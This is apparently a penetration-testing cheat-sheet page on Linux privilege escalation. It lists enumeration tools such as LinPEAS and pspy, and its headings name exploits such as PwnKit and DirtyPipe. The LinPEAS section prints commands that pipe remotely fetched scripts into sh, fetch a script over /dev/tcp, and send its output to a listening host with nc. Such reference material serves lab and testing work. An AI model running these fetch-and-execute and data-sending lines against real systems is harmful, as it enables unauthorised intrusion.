Page cover
For the complete documentation index, see llms.txt. This page is also available as Markdown.

PrivilageEsc Linux

Linux Privilege Escalation Scripts

01. LinPEAS

  • Remote Network

## ------------------| Remote download and execrute from Github 
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh       
wget -q -O - https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh       
  • Local Network

## ------------------| Local Network
curl 10.10.10.10/linpeas.sh | sh

## ------------------| Without CURL
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

## ------------------| Excute from memory and send output back to the host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
wget -q -O - 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
nc -lvnp 9002 | tee linpeas.out #Host
  • Output Format

  • AV Bypass

02. LinEnum

  • Remote Network

  • Local Network

03. Linux Exploit Suggester 2

04. Linux Smart Enumeration

05. PSPY

-Linux process snooping [unprivileged]

  • Download

    • 32 bit big, static version: pspy32 download

    • 64 bit big, static version: pspy64 download

    • 32 bit small version: pspy32s download

    • 64 bit small version: pspy64s download

06. Common exploits

06.0 Abusing Shell Features

06.1 Shellshock

06.2 LXD

06.3 logrotate

06.4 If you have or can?

  • If you have LD_PRELOAD in env_keep variable?

  • If you have LD_LIBRARY_PATH in env_keep variable?

  • If you have SETENV in sudo -l?

  • Do we have no_root_squash in /etc/exports

  • If you have write permission to /etc/sudoers file?

  • If you have write permission to /etc/shadow file?

  • If you have write permission to /etc/passwd ?

  • Can run apache2 as root user?

  • If you are in **video ** group

  • If you are in docker group

  • If you have apt update on /etc/crontab

  • If sudo -l only for apt-get update or apt-get upgrade?

  • If you see jdwp run as privilege user ??

  • If you are in disk group ?

  • Can you run gdb (debug)?

  • If you can read .Xauthority file?

  • If you can run dstat tool as sudo

  • If we can run any doas

06.5 SUDO Vulnerability

06.6 Ansible

06.7 PwnKit [CVE-2021-4034]

06.8 OverlayFS 2021 [CVE-2021-3493]

06.9 DirtyPipe [CVE-2022-0847]

06.10 Enlightenment [CVE-2022-37706]

06.11 OverlayFS 2023 [CVE-2023-0386]

06.12 GameOver(lay) [CVE-2023-2640 & CVE-2023-32629]

06.13 Other

07. Kernel Privesc


Last updated